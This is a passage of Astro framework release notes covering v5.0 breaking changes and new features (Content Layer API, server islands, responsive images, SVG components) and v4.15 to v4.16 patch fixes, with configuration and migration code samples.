    Additionally, running astro sync no longer creates, nor updates, src/env.d.ts as it is not required for type-checking standard Astro projects.

    To update your project to Astro's recommended TypeScript settings, please add the following include and exclude properties to tsconfig.json:

    {
        "extends": "astro/tsconfigs/base",
    +    "include": [".astro/types.d.ts", "**/*"],
    +    "exclude": ["dist"]
    }
    
  • #​11715 d74617c Thanks @​Princesseuh! - Refactor the exported types from the astro module. There should normally be no breaking changes, but if you relied on some previously deprecated types, these might now have been fully removed.

    In most cases, updating your code to move away from previously deprecated APIs in previous versions of Astro should be enough to fix any issues.

  • #​12551 abf9a89 Thanks @​ematipico! - Refactors legacy content and data collections to use the Content Layer API glob() loader for better performance and to support backwards compatibility. Also introduces the legacy.collections flag for projects that are unable to update to the new behavior immediately.

    ⚠️ BREAKING CHANGE FOR LEGACY CONTENT COLLECTIONS ⚠️

    By default, collections that use the old types (content or data) and do not define a loader are now implemented under the hood using the Content Layer API's built-in glob() loader, with extra backward-compatibility handling.

    In order to achieve backwards compatibility with existing content collections, the following have been implemented:

    • a glob loader collection is defined, with patterns that match the previous handling (matches src/content/<collection name>/**/*.md and other content extensions depending on installed integrations, with underscore-prefixed files and folders ignored)
    • When used in the runtime, the entries have an ID based on the filename in the same format as legacy collections
    • A slug field is added with the same format as before
    • A render() method is added to the entry, so they can be called using entry.render()
    • getEntryBySlug is supported

    In order to achieve backwards compatibility with existing data collections, the following have been implemented:

    • a glob loader collection is defined, with patterns that match the previous handling (matches src/content/<collection name>/**/*{.json,.yaml} and other data extensions, with underscore-prefixed files and folders ignored)
    • Entries have an ID that is not slugified
    • getDataEntryById is supported

    While this backwards compatibility implementation is able to emulate most of the features of legacy collections, there are some differences and limitations that may cause breaking changes to existing collections:

    • In previous versions of Astro, collections would be generated for all folders in src/content/, even if they were not defined in src/content/config.ts. This behavior is now deprecated, and collections should always be defined in src/content/config.ts. For existing collections, these can just be empty declarations (e.g. const blog = defineCollection({})) and Astro will implicitly define your legacy collection for you in a way that is compatible with the new loading behavior.
    • The special layout field is not supported in Markdown collection entries. This property is intended only for standalone page files located in src/pages/ and not likely to be in your collection entries. However, if you were using this property, you must now create dynamic routes that include your page styling.
    • Sort order of generated collections is non-deterministic and platform-dependent. This means that if you are calling getCollection(), the order in which entries are returned may be different than before. If you need a specific order, you should sort the collection entries yourself.
    • image().refine() is not supported. If you need to validate the properties of an image you will need to do this at runtime in your page or component.
    • the key argument of getEntry(collection, key) is typed as string, rather than having types for every entry.

    A new legacy configuration flag legacy.collections is added for users that want to keep their current legacy (content and data) collections behavior (available in Astro v2 - v4), or who are not yet ready to update their projects:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      legacy: {
        collections: true,
      },
    });
    

    When set, no changes to your existing collections are necessary, and the restrictions on storing both new and old collections continue to exist: legacy collections (only) must continue to remain in src/content/, while new collections using a loader from the Content Layer API are forbidden in that folder.

  • #​11660 e90f559 Thanks @​bluwy! - Fixes attribute rendering for non-boolean HTML attributes with boolean values to match proper attribute handling in browsers.

    Previously, non-boolean attributes may not have included their values when rendered to HTML. In Astro v5.0, the values are now explicitly rendered as ="true" or ="false"

    In the following .astro examples, only allowfullscreen is a boolean attribute:

    <!-- src/pages/index.astro --><!-- `allowfullscreen` is a boolean attribute -->
    <p allowfullscreen={true}></p>
    <p allowfullscreen={false}></p>
    
    <!-- `inherit` is *not* a boolean attribute -->
    <p inherit={true}></p>
    <p inherit={false}></p>
    
    <!-- `data-*` attributes are not boolean attributes -->
    <p data-light={true}></p>
    <p data-light={false}></p>
    

    Astro v5.0 now preserves the full data attribute with its value when rendering the HTML of non-boolean attributes:

      <p allowfullscreen></p>
      <p></p>
    
      <p inherit="true"></p>
    - <p inherit></p>
    + <p inherit="false"></p>
    
    - <p data-light></p>
    + <p data-light="true"></p>
    - <p></p>
    + <p data-light="false"></p>
    

    If you rely on attribute values, for example to locate elements or to conditionally render, update your code to match the new non-boolean attribute values:

    - el.getAttribute('inherit') === ''
    + el.getAttribute('inherit') === 'false'
    
    - el.hasAttribute('data-light')
    + el.dataset.light === 'true'
    
  • #​11770 cfa6a47 Thanks @​Princesseuh! - Removed support for the Squoosh image service. As the underlying library libsquoosh is no longer maintained, and the image service sees very little usage we have decided to remove it from Astro.

    Our recommendation is to use the base Sharp image service, which is more powerful, faster, and more actively maintained.

    - import { squooshImageService } from "astro/config";
    import { defineConfig } from "astro/config";
    
    export default defineConfig({
    -  image: {
    -    service: squooshImageService()
    -  }
    });
    

    If you are using this service, and cannot migrate to the base Sharp image service, a third-party extraction of the previous service is available here: https://github.com/Princesseuh/astro-image-service-squoosh

  • #​12231 90ae100 Thanks @​bluwy! - Updates the automatic charset=utf-8 behavior for Markdown pages, where instead of responding with charset=utf-8 in the Content-Type header, Astro will now automatically add the <meta charset="utf-8"> tag instead.

    This behaviour only applies to Markdown pages (.md or similar Markdown files located within src/pages/) that do not use Astro's special layout frontmatter property. It matches the rendering behaviour of other non-content pages, and retains the minimal boilerplate needed to write with non-ASCII characters when adding individual Markdown pages to your site.

    If your Markdown pages use the layout frontmatter property, then HTML encoding will be handled by the designated layout component instead, and the <meta charset="utf-8"> tag will not be added to your page by default.

    If you require charset=utf-8 to render your page correctly, make sure that your layout components contain the <meta charset="utf-8"> tag. You may need to add this if you have not already done so.

  • #​11714 8a53517 Thanks @​matthewp! - Remove support for functionPerRoute

    This change removes support for the functionPerRoute option both in Astro and @astrojs/vercel.

    This option made it so that each route got built as separate entrypoints so that they could be loaded as separate functions. The hope was that by doing this it would decrease the size of each function. However in practice routes use most of the same code, and increases in function size limitations made the potential upsides less important.

    Additionally there are downsides to functionPerRoute, such as hitting limits on the number of functions per project. The feature also never worked with some Astro features like i18n domains and request rewriting.

    Given this, the feature has been removed from Astro.

  • #​11864 ee38b3a Thanks @​ematipico! - ### [changed]: RouteData.distURL is now an array
    In Astro v4.x, RouteData.distURL was undefined or a URL

    Astro v5.0, RouteData.distURL is undefined or an array of URL. This was a bug, because a route can generate multiple files on disk, especially when using dynamic routes such as [slug] or [...slug].

What should I do?

Update your code to handle RouteData.distURL as an array.

if (route.distURL) {
-  if (route.distURL.endsWith('index.html')) {
-    // do something
-  }
+  for (const url of route.distURL) {
+    if (url.endsWith('index.html')) {
+      // do something
+    }
+  }
}
  • #​11253 4e5cc5a Thanks @​kevinzunigacuellar! - Changes the data returned for page.url.current, page.url.next, page.url.prev, page.url.first and page.url.last to include the value set for base in your Astro config.

    Previously, you had to manually prepend your configured value for base to the URL path. Now, Astro automatically includes your base value in next and prev URLs.

    If you are using the paginate() function for "previous" and "next" URLs, remove any existing base value as it is now added for you:

    ---
    export async function getStaticPaths({ paginate }) {
      const astronautPages = [{
        astronaut: 'Neil Armstrong',
      }, {
        astronaut: 'Buzz Aldrin',
      }, {
        astronaut: 'Sally Ride',
      }, {
        astronaut: 'John Glenn',
      }];
      return paginate(astronautPages, { pageSize: 1 });
    }
    const { page } = Astro.props;
    // `base: /'docs'` configured in `astro.config.mjs`
    - const prev = "/docs" + page.url.prev;
    + const prev = page.url.prev;
    ---
    <a id="prev" href={prev}>Back</a>
    
  • #​12079 7febf1f Thanks @​ematipico! - params passed in getStaticPaths are no longer automatically decoded.

[changed]: params aren't decoded anymore.

In Astro v4.x, params in were automatically decoded using decodeURIComponent.

Astro v5.0 doesn't automatically decode params in getStaticPaths anymore, so you'll need to manually decode them yourself if needed

What should I do?

If you were relying on the automatic decode, you'll need to manually decode it using decodeURI.

Note that the use of decodeURIComponent) is discouraged for getStaticPaths because it decodes more characters than it should, for example /, ?, # and more.

---
export function getStaticPaths() {
  return [
+    { params: { id: decodeURI("%5Bpage%5D") } },
-    { params: { id: "%5Bpage%5D" } },
  ]
}

const { id } = Astro.params;
---
Minor Changes
  • #​11941 b6a5f39 Thanks @​Princesseuh! - Adapters can now specify the build output type they're intended for using the adapterFeatures.buildOutput property. This property can be used to always generate a server output, even if the project doesn't have any server-rendered pages.

    {
      'astro:config:done': ({ setAdapter, config }) => {
        setAdapter({
          name: 'my-adapter',
          adapterFeatures: {
            buildOutput: 'server',
          },
        });
      },
    }
    

    If your adapter specifies buildOutput: 'static', and the user's project contains server-rendered pages, Astro will warn in development and error at build time. Note that a hybrid output, containing both static and server-rendered pages, is considered to be a server output, as a server is required to serve the server-rendered pages.

  • #​12067 c48916c Thanks @​stramel! - Adds experimental support for built-in SVG components.

    This feature allows you to import SVG files directly into your Astro project as components. By default, Astro will inline the SVG content into your HTML output.

    To enable this feature, set experimental.svg to true in your Astro config:

    {
      experimental: {
        svg: true,
      },
    }
    

    To use this feature, import an SVG file in your Astro project, passing any common SVG attributes to the imported component. Astro also provides a size attribute to set equal height and width properties:

    ---
    import Logo from './path/to/svg/file.svg';
    ---
    
    <Logo size={24} />
    

    For a complete overview, and to give feedback on this experimental API, see the Feature RFC.

  • #​12226 51d13e2 Thanks @​ematipico! - The following renderer fields and integration fields now accept URL as a type:

    Renderers:

    • AstroRenderer.clientEntrypoint
    • AstroRenderer.serverEntrypoint

    Integrations:

    • InjectedRoute.entrypoint
    • AstroIntegrationMiddleware.entrypoint
    • DevToolbarAppEntry.entrypoint
  • #​12323 c280655 Thanks @​bluwy! - Updates to Vite 6.0.0-beta.6

  • #​12539 827093e Thanks @​bluwy! - Drops node 21 support

  • #​12243 eb41d13 Thanks @​florian-lefebvre! - Improves defineConfig type safety. TypeScript will now error if a group of related configuration options do not have consistent types. For example, you will now see an error if your language set for i18n.defaultLocale is not one of the supported locales specified in i18n.locales.

  • #​12329 8309c61 Thanks @​florian-lefebvre! - Adds a new astro:routes:resolved hook to the Integration API. Also update the astro:build:done hook by deprecating routes and adding a new assets map.

    When building an integration, you can now get access to routes inside the astro:routes:resolved hook:

    const integration = () => {
      return {
        name: 'my-integration',
        hooks: {
          'astro:routes:resolved': ({ routes }) => {
            console.log(routes);
          },
        },
      };
    };
    

    This hook runs before astro:config:done, and whenever a route changes in development.

    The routes array from astro:build:done is now deprecated, and exposed properties are now available on astro:routes:resolved, except for distURL. For this, you can use the newly exposed assets map:

    const integration = () => {
    +    let routes
        return {
            name: 'my-integration',
            hooks: {
    +            'astro:routes:resolved': (params) => {
    +                routes = params.routes
    +            },
                'astro:build:done': ({
    -                routes
    +                assets
                }) => {
    +                for (const route of routes) {
    +                    const distURL = assets.get(route.pattern)
    +                    if (distURL) {
    +                        Object.assign(route, { distURL })
    +                    }
    +                }
                    console.log(routes)
                }
            }
        }
    }
    
  • #​11911 c3dce83 Thanks @​ascorbic! - The Content Layer API introduced behind a flag in 4.14.0 is now stable and ready for use in Astro v5.0.

    The new Content Layer API builds upon content collections, taking them beyond local files in src/content/ and allowing you to fetch content from anywhere, including remote APIs. These new collections work alongside your existing content collections, and you can migrate them to the new API at your own pace. There are significant improvements to performance with large collections of local files. For more details, see the Content Layer RFC.

    If you previously used this feature, you can now remove the experimental.contentLayer flag from your Astro config:

    // astro.config.mjs
    import { defineConfig } from 'astro'
    
    export default defineConfig({
    -  experimental: {
    -    contentLayer: true
    -  }
    })
    
Loading your content

The core of the new Content Layer API is the loader, a function that fetches content from a source and caches it in a local data store. Astro 4.14 ships with built-in glob() and file() loaders to handle your local Markdown, MDX, Markdoc, and JSON files:

// src/content/config.ts
import { defineCollection, z } from 'astro:content';
import { glob } from 'astro/loaders';

const blog = defineCollection({
  // The ID is a slug generated from the path of the file relative to `base`
  loader: glob({ pattern: '**/*.md', base: './src/data/blog' }),
  schema: z.object({
    title: z.string(),
    description: z.string(),
    publishDate: z.coerce.date(),
  }),
});

export const collections = { blog };

You can then query using the existing content collections functions, and use a simplified render() function to display your content:

---
import { getEntry, render } from 'astro:content';

const post = await getEntry('blog', Astro.params.slug);

const { Content } = await render(entry);
---

<Content />
Creating a loader

You're not restricted to the built-in loaders – we hope you'll try building your own. You can fetch content from anywhere and return an array of entries:

// src/content/config.ts
const countries = defineCollection({
  loader: async () => {
    const response = await fetch('https://restcountries.com/v3.1/all');
    const data = await response.json();
    // Must return an array of entries with an id property,
    // or an object with IDs as keys and entries as values
    return data.map((country) => ({
      id: country.cca3,
      ...country,
    }));
  },
  // optionally add a schema to validate the data and make it type-safe for users
  // schema: z.object...
});

export const collections = { countries };

For more advanced loading logic, you can define an object loader. This allows incremental updates and conditional loading, and gives full access to the data store. It also allows a loader to define its own schema, including generating it dynamically based on the source API. See the the Content Layer API RFC for more details.

Sharing your loaders

Loaders are better when they're shared. You can create a package that exports a loader and publish it to npm, and then anyone can use it on their site. We're excited to see what the community comes up with! To get started, take a look at some examples. Here's how to load content using an RSS/Atom feed loader:

// src/content/config.ts
import { defineCollection } from 'astro:content';
import { feedLoader } from '@&#8203;ascorbic/feed-loader';

const podcasts = defineCollection({
  loader: feedLoader({
    url: 'https://feeds.99percentinvisible.org/99percentinvisible',
  }),
});

export const collections = { podcasts };

To learn more, see the Content Layer RFC.

  • #​11980 a604a0c Thanks @​matthewp! - ViewTransitions component renamed to ClientRouter

    The <ViewTransitions /> component has been renamed to <ClientRouter />. There are no other changes than the name. The old name will continue to work in Astro 5.x, but will be removed in 6.0.

    This change was done to clarify the role of the component within Astro's View Transitions support. Astro supports View Transitions APIs in a few different ways, and renaming the component makes it more clear that the features you get from the ClientRouter component are slightly different from what you get using the native CSS-based MPA router.

    We still intend to maintain the ClientRouter as before, and it's still important for use-cases that the native support doesn't cover, such as persisting state between pages.

  • #​11875 a8a3d2c Thanks @​florian-lefebvre! - Adds a new property isPrerendered to the globals Astro and APIContext . This boolean value represents whether or not the current page is prerendered:

    ---
    // src/pages/index.astro
    
    export const prerender = true;
    ---
    
    // src/middleware.js
    
    export const onRequest = (ctx, next) => {
      console.log(ctx.isPrerendered); // it will log true
      return next();
    };
    
  • #​12047 21b5e80 Thanks @​rgodha24! - Adds a new optional parser property to the built-in file() loader for content collections to support additional file types such as toml and csv.

    The file() loader now accepts a second argument that defines a parser function. This allows you to specify a custom parser (e.g. toml.parse or csv-parse) to create a collection from a file's contents. The file() loader will automatically detect and parse JSON and YAML files (based on their file extension) with no need for a parser.

    This works with any type of custom file formats including csv and toml. The following example defines a content collection dogs using a .toml file.

    [[dogs]]
    id = "..."
    age = "..."
    
    [[dogs]]
    id = "..."
    age = "..."
    

    After importing TOML's parser, you can load the dogs collection into your project by passing both a file path and parser to the file() loader.

    import { defineCollection } from "astro:content"
    import { file } from "astro/loaders"
    import { parse as parseToml } from "toml"
    
    const dogs = defineCollection({
      loader: file("src/data/dogs.toml", { parser: (text) => parseToml(text).dogs }),
      schema: /* ... */
    })
    
    // it also works with CSVs!
    import { parse as parseCsv } from "csv-parse/sync";
    
    const cats = defineCollection({
      loader: file("src/data/cats.csv", { parser: (text) => parseCsv(text, { columns: true, skipEmptyLines: true })})
    });
    

    The parser argument also allows you to load a single collection from a nested JSON document. For example, this JSON file contains multiple collections:

    { "dogs": [{}], "cats": [{}] }
    

    You can separate these collections by passing a custom parser to the file() loader like so:

    const dogs = defineCollection({
      loader: file('src/data/pets.json', { parser: (text) => JSON.parse(text).dogs }),
    });
    const cats = defineCollection({
      loader: file('src/data/pets.json', { parser: (text) => JSON.parse(text).cats }),
    });
    

    And it continues to work with maps of id to data

    bubbles:
      breed: 'Goldfish'
      age: 2
    finn:
      breed: 'Betta'
      age: 1
    
    const fish = defineCollection({
      loader: file('src/data/fish.yaml'),
      schema: z.object({ breed: z.string(), age: z.number() }),
    });
    
  • #​11698 05139ef Thanks @​ematipico! - Adds a new property to the globals Astro and APIContext called routePattern. The routePattern represents the current route (component)
    that is being rendered by Astro. It's usually a path pattern will look like this: blog/[slug]:

    ---
    // src/pages/blog/[slug].astro
    const route = Astro.routePattern;
    console.log(route); // it will log "blog/[slug]"
    ---
    
    // src/pages/index.js
    
    export const GET = (ctx) => {
      console.log(ctx.routePattern); // it will log src/pages/index.js
      return new Response.json({ lorem: 'ipsum' });
    };
    
  • #​11941 b6a5f39 Thanks @​Princesseuh! - Adds a new buildOutput property to the astro:config:done hook returning the build output type.

    This can be used to know if the user's project will be built as a static site (HTML files), or a server-rendered site (whose exact output depends on the adapter).

  • #​12377 af867f3 Thanks @​ascorbic! - Adds experimental support for automatic responsive images

    This feature is experimental and may change in future versions. To enable it, set experimental.responsiveImages to true in your astro.config.mjs file.

    {
       experimental: {
          responsiveImages: true,
       },
    }
    

    When this flag is enabled, you can pass a layout prop to any <Image /> or <Picture /> component to create a responsive image. When a layout is set, images have automatically generated srcset and sizes attributes based on the image's dimensions and the layout type. Images with responsive and full-width layouts will have styles applied to ensure they resize according to their container.

    ---
    import { Image, Picture } from 'astro:assets';
    import myImage from '../assets/my_image.png';
    ---
    
    <Image
      src={myImage}
      alt="A description of my image."
      layout="responsive"
      width={800}
      height={600}
    />
    <Picture
      src={myImage}
      alt="A description of my image."
      layout="full-width"
      formats={['avif', 'webp', 'jpeg']}
    />
    

    This <Image /> component will generate the following HTML output:

    <img
      src="/_astro/my_image.hash3.webp"
      srcset="
        /_astro/my_image.hash1.webp  640w,
        /_astro/my_image.hash2.webp  750w,
        /_astro/my_image.hash3.webp  800w,
        /_astro/my_image.hash4.webp  828w,
        /_astro/my_image.hash5.webp 1080w,
        /_astro/my_image.hash6.webp 1280w,
        /_astro/my_image.hash7.webp 1600w
      "
      alt="A description of my image"
      sizes="(min-width: 800px) 800px, 100vw"
      loading="lazy"
      decoding="async"
      fetchpriority="auto"
      width="800"
      height="600"
      style="--w: 800; --h: 600; --fit: cover; --pos: center;"
      data-astro-image="responsive"
    />
    
Responsive image properties

These are additional properties available to the <Image /> and <Picture /> components when responsive images are enabled:

  • layout: The layout type for the image. Can be responsive, fixed, full-width or none. Defaults to value of image.experimentalLayout.
  • fit: Defines how the image should be cropped if the aspect ratio is changed. Values match those of CSS object-fit. Defaults to cover, or the value of image.experimentalObjectFit if set.
  • position: Defines the position of the image crop if the aspect ratio is changed. Values match those of CSS object-position. Defaults to center, or the value of image.experimentalObjectPosition if set.
  • priority: If set, eagerly loads the image. Otherwise, images will be lazy-loaded. Use this for your largest above-the-fold image. Defaults to false.
Default responsive image settings

You can enable responsive images for all <Image /> and <Picture /> components by setting image.experimentalLayout with a default value. This can be overridden by the layout prop on each component.

Example:

{
    image: {
      // Used for all `<Image />` and `<Picture />` components unless overridden
      experimentalLayout: 'responsive',
    },
    experimental: {
      responsiveImages: true,
    },
}
---
import { Image } from 'astro:assets';
import myImage from '../assets/my_image.png';
---

<Image src={myImage} alt="This will use responsive layout" width={800} height={600} />

<Image src={myImage} alt="This will use full-width layout" layout="full-width" />

<Image src={myImage} alt="This will disable responsive images" layout="none" />

For a complete overview, and to give feedback on this experimental API, see the Responsive Images RFC.

  • #​12150 93351bc Thanks @​bluwy! - Adds support for passing values other than "production" or "development" to the --mode flag (e.g. "staging", "testing", or any custom value) to change the value of import.meta.env.MODE or the loaded .env file. This allows you take advantage of Vite's mode feature.

    Also adds a new --devOutput flag for astro build that will output a development-based build.

    Note that changing the mode does not change the kind of code transform handled by Vite and Astro:

    • In astro dev, Astro will transform code with debug information.
    • In astro build, Astro will transform code with the most optimized output and removes debug information.
    • In astro build --devOutput (new flag), Astro will transform code with debug information like in astro dev.

    This enables various use cases like:

    # Run the dev server connected to a "staging" API
    astro dev --mode staging
    
    # Build a site that connects to a "staging" API
    astro build --mode staging
    
    # Build a site that connects to a "production" API with additional debug information
    astro build --devOutput
    
    # Build a site that connects to a "testing" API
    astro build --mode testing
    

    The different modes can be used to load different .env files, e.g. .env.staging or .env.production, which can be customized for each environment, for example with different API_URL environment variable values.

  • #​12510 14feaf3 Thanks @​bholmesdev! - Changes the generated URL query param from _astroAction to _action when submitting a form using Actions. This avoids leaking the framework name into the URL bar, which may be considered a security issue.

  • #​11806 f7f2338 Thanks @​Princesseuh! - The value of the different properties on supportedAstroFeatures for adapters can now be objects, with a support and message properties. The content of the message property will be shown in the Astro CLI when the adapter is not compatible with the feature, allowing one to give a better informational message to the user.

    This is notably useful with the new limited value, to explain to the user why support is limited.

  • #​12071 61d248e Thanks @​Princesseuh! - astro add no longer automatically sets output: 'server'. Since the default value of output now allows for server-rendered pages, it no longer makes sense to default to full server builds when you add an adapter

  • #​11955 d813262 Thanks @​matthewp! - Server Islands introduced behind an experimental flag in v4.12.0 is no longer experimental and is available for general use.

    Server islands are Astro's solution for highly cacheable pages of mixed static and dynamic content. They allow you to specify components that should run on the server, allowing the rest of the page to be more aggressively cached, or even generated statically.

    Turn any .astro component into a server island by adding the server:defer directive and optionally, fallback placeholder content. It will be rendered dynamically at runtime outside the context of the rest of the page, allowing you to add longer cache headers for the pages, or even prerender them.

    ---
    import Avatar from '../components/Avatar.astro';
    import GenericUser from '../components/GenericUser.astro';
    ---
    
    <header>
      <h1>Page Title</h1>
      <div class="header-right">
        <Avatar server:defer>
          <GenericUser slot="fallback" />
        </Avatar>
      </div>
    </header>
    

    If you were previously using this feature, please remove the experimental flag from your Astro config:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental {
    -    serverIslands: true,
      },
    });
    

    If you have been waiting for stabilization before using server islands, you can now do so.

    Please see the server island documentation for more about this feature.

  • #​12373 d10f918 Thanks @​bholmesdev! - Changes the default behavior for Astro Action form requests to a standard POST submission.

    In Astro 4.x, actions called from an HTML form would trigger a redirect with the result forwarded using cookies. This caused issues for large form errors and return values that exceeded the 4 KB limit of cookie-based storage.

    Astro 5.0 now renders the result of an action as a POST result without any forwarding. This will introduce a "confirm form resubmission?" dialog when a user attempts to refresh the page, though it no longer imposes a 4 KB limit on action return value.

v4.16.19

Compare Source

Patch Changes

v4.16.18

Compare Source

Patch Changes

v4.16.17

Compare Source

Patch Changes

v4.16.16

Compare Source

Patch Changes

v4.16.15

Compare Source

Patch Changes

v4.16.14

Compare Source

Patch Changes

v4.16.13

Compare Source

Patch Changes
  • #​12436 453ec6b Thanks @​martrapp! - Fixes a potential null access in the clientside router

  • #​12392 0462219 Thanks @​apatel369! - Fixes an issue where scripts were not correctly injected during the build. The issue was triggered when there were injected routes with the same entrypoint and different pattern

v4.16.12

Compare Source

Patch Changes
  • #​12420 acac0af Thanks @​ematipico! - Fixes an issue where the dev server returns a 404 status code when a user middleware returns a valid Response.

v4.16.11

Compare Source

Patch Changes
  • #​12305 f5f7109 Thanks @​florian-lefebvre! - Fixes a case where the error overlay would not escape the message

  • #​12402 823e73b Thanks @​ematipico! - Fixes a case where Astro allowed to call an action without using Astro.callAction. This is now invalid, and Astro will show a proper error.

    ---
    import { actions } from "astro:actions";
    
    -const result = actions.getUser({ userId: 123 });
    +const result = Astro.callAction(actions.getUser, { userId: 123 });
    ---
    
  • #​12401 9cca108 Thanks @​bholmesdev! - Fixes unexpected 200 status in dev server logs for action errors and redirects.

v4.16.10

Compare Source

Patch Changes

v4.16.9

Compare Source

Patch Changes

v4.16.8

Compare Source

Patch Changes

v4.16.7

Compare Source

Patch Changes

v4.16.6

Compare Source

Patch Changes
  • #​11823 a3d30a6 Thanks @​DerTimonius! - fix: improve error message when inferSize is used in local images with the Image component

  • #​12227 8b1a641 Thanks @​florian-lefebvre! - Fixes a case where environment variables would not be refreshed when using astro:env

  • #​12239 2b6daa5 Thanks @​ematipico! - BREAKING CHANGE to the experimental Container API only

    Changes the default page rendering behavior of Astro components in containers, and adds a new option partial: false to render full Astro pages as before.

    Previously, the Container API was rendering all Astro components as if they were full Astro pages containing <!DOCTYPE html> by default. This was not intended, and now by default, all components will render as page partials: only the contents of the components without a page shell.

    To render the component as a full-fledged Astro page, pass a new option called partial: false to renderToString() and renderToResponse():

    import { experimental_AstroContainer as AstroContainer } from 'astro/container';
    import Card from '../src/components/Card.astro';
    
    const container = AstroContainer.create();
    
    await container.renderToString(Card); // the string will not contain `<!DOCTYPE html>`
    await container.renderToString(Card, { partial: false }); // the string will contain `<!DOCTYPE html>`
    

v4.16.5

Compare Source

Patch Changes

v4.16.4

Compare Source

Patch Changes
  • #​12223 79ffa5d Thanks @​ArmandPhilippot! - Fixes a false positive reported by the dev toolbar Audit app where a label was considered missing when associated with a button

    The button element can be used with a label (e.g. to create a switch) and should not be reported as an accessibility issue when used as a child of a label.

  • #​12199 c351352 Thanks @​ematipico! - Fixes a regression in the computation of Astro.currentLocale

  • #​12222 fb55695 Thanks @​ematipico! - Fixes an issue where the edge middleware couldn't correctly compute the client IP address when calling ctx.clientAddress()

v4.16.3

Compare Source

Patch Changes

v4.16.2

Compare Source

Patch Changes

v4.16.1

Compare Source

Patch Changes
  • #​12177 a4ffbfa Thanks @​matthewp! - Ensure we target scripts for execution in the router

    Using document.scripts is unsafe because if the application has a name="scripts" this will shadow the built-in document.scripts. Fix is to use getElementsByTagName to ensure we're only grabbing real scripts.

  • #​12173 2d10de5 Thanks @​ematipico! - Fixes a bug where Astro Actions couldn't redirect to the correct pathname when there was a rewrite involved.

v4.16.0

Compare Source

Minor Changes
  • #​12039 710a1a1 Thanks @​ematipico! - Adds a markdown.shikiConfig.langAlias option that allows aliasing a non-supported code language to a known language. This is useful when the language of your code samples is not a built-in Shiki language, but you want your Markdown source to contain an accurate language while also displaying syntax highlighting.

    The following example configures Shiki to highlight cjs code blocks using the javascript syntax highlighter:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      markdown: {
        shikiConfig: {
          langAlias: {
            cjs: 'javascript',
          },
        },
      },
    });
    

    Then in your Markdown, you can use the alias as the language for a code block for syntax highlighting:

    ```cjs
    'use strict';
    
    function commonJs() {
      return 'I am a commonjs file';
    }
    ```
    
  • #​11984 3ac2263 Thanks @​chaegumi! - Adds a new build.concurreny configuration option to specify the number of pages to build in parallel

    In most cases, you should not change the default value of 1.

    Use this option only when other attempts to reduce the overall rendering time (e.g. batch or cache long running tasks like fetch calls or data access) are not possible or are insufficient.

    Use this option only if the refactors are not possible. If the number is set too high, the page rendering may slow down due to insufficient memory resources and because JS is single-threaded.

    [!WARNING]
    This feature is stable and is not considered experimental. However, this feature is only intended to address difficult performance issues, and breaking changes may occur in a minor release to keep this option as performant as possible.

    // astro.config.mjs
    import { defineConfig } from 'astro';
    
    export default defineConfig({
      build: {
        concurrency: 2,
      },
    });
    
Patch Changes
  • #​12160 c6fd1df Thanks @​louisescher! - Fixes a bug where astro.config.mts and astro.config.cts weren't reloading the dev server upon modifications.

  • #​12130 e96bcae Thanks @​thehansys! - Fixes a bug in the parsing of x-forwarded-\* Request headers, where multiple values assigned to those headers were not correctly parsed.

    Now, headers like x-forwarded-proto: https,http are correctly parsed.

  • #​12147 9db755a Thanks @​ascorbic! - Skips setting statusMessage header for HTTP/2 response

    HTTP/2 doesn't support status message, so setting this was logging a warning.

  • #​12151 bb6d37f Thanks @​ematipico! - Fixes an issue where Astro.currentLocale wasn't incorrectly computed when the defaultLocale belonged to a custom locale path.

  • Updated dependencies [710a1a1]:

v4.15.12

Compare Source

Patch Changes

v4.15.11

Compare Source

Patch Changes
  • #​12097 11d447f Thanks @​ascorbic! - Fixes error where references in content layer schemas sometimes incorrectly report as missing

  • #​12108 918953b Thanks @​lameuler! - Fixes a bug where data URL images were not correctly handled. The bug resulted in an ENAMETOOLONG error.

  • #​12105 42037f3 Thanks @​ascorbic! - Returns custom statusText that has been set in a Response

  • #​12109 ea22558 Thanks @​ematipico! - Fixes a regression that was introduced by an internal refactor of how the middleware is loaded by the Astro application. The regression was introduced by #​11550.

    When the edge middleware feature is opted in, Astro removes the middleware function from the SSR manifest, and this wasn't taken into account during the refactor.

  • #​12106 d3a74da Thanks @​ascorbic! - Handles case where an immutable Response object is returned from an endpoint

  • #​12090 d49a537 Thanks @​markjaquith! - Server islands: changes the server island HTML placeholder comment so that it is much less likely to get removed by HTML minifiers.

v4.15.10

Compare Source

Patch Changes

v4.15.9

Compare Source

Patch Changes
  • #​12034 5b3ddfa Thanks @​ematipico! - Fixes an issue where the middleware wasn't called when a project uses 404.astro.

  • #​12042 243ecb6 Thanks @​ematipico! - Fixes a problem in the Container API, where a polyfill wasn't correctly applied. This caused an issue in some environments where crypto isn't supported.

  • #​12038 26ea5e8 Thanks @​ascorbic! - Resolves image paths in content layer with initial slash as project-relative

    When using the image() schema helper, previously paths with an initial slash were treated as public URLs. This was to match the behavior of markdown images. However this is a change from before, where paths with an initial slash were treated as project-relative. This change restores the previous behavior, so that paths with an initial slash are treated as project-relative.

v4.15.8

Compare Source

Patch Changes

v4.15.7

Compare Source

Patch Changes

v4.15.6

Compare Source

Patch Changes

v4.15.5

Compare Source

Patch Changes
  • #​11939 7b09c62 Thanks @​bholmesdev! - Adds support for Zod discriminated unions on Action form inputs. This allows forms with different inputs to be submitted to the same action, using a given input to decide which object should be used for validation.

    This example accepts either a create or update form submission, and uses the type field to determine which object to validate against.

    import { defineAction } from 'astro:actions';
    import { z } from 'astro:schema';
    
    export const server = {
      changeUser: defineAction({
        accept: 'form',
        input: z.discriminatedUnion('type', [
          z.object({
            type: z.literal('create'),
            name: z.string(),
            email: z.string().email(),
          }),
          z.object({
            type: z.literal('update'),
            id: z.number(),
            name: z.string(),
            email: z.string().email(),
          }),
        ]),
        async handler(input) {
          if (input.type === 'create') {
            // input is { type: 'create', name: string, email: string }
          } else {
            // input is { type: 'update', id: number, name: string, email: string }
          }
        },
      }),
    };
    

    The corresponding create and update forms may look like this:

    ---
    import { actions } from 'astro:actions';
    ---
    
    <!--Create-->
    <form action={actions.changeUser} method="POST">
      <input type="hidden" name="type" value="create" />
      <input type="text" name="name" required />
      <input type="email" name="email" required />
      <button type="submit">Create User</button>
    </form>
    
    <!--Update-->
    <form action={actions.changeUser} method="POST">
      <input type="hidden" name="type" value="update" />
      <input type="hidden" name="id" value="user-123" />
      <input type="text" name="name" required />
      <input type="email" name="email" required />
      <button type="submit">Update User</button>
    </form>
    
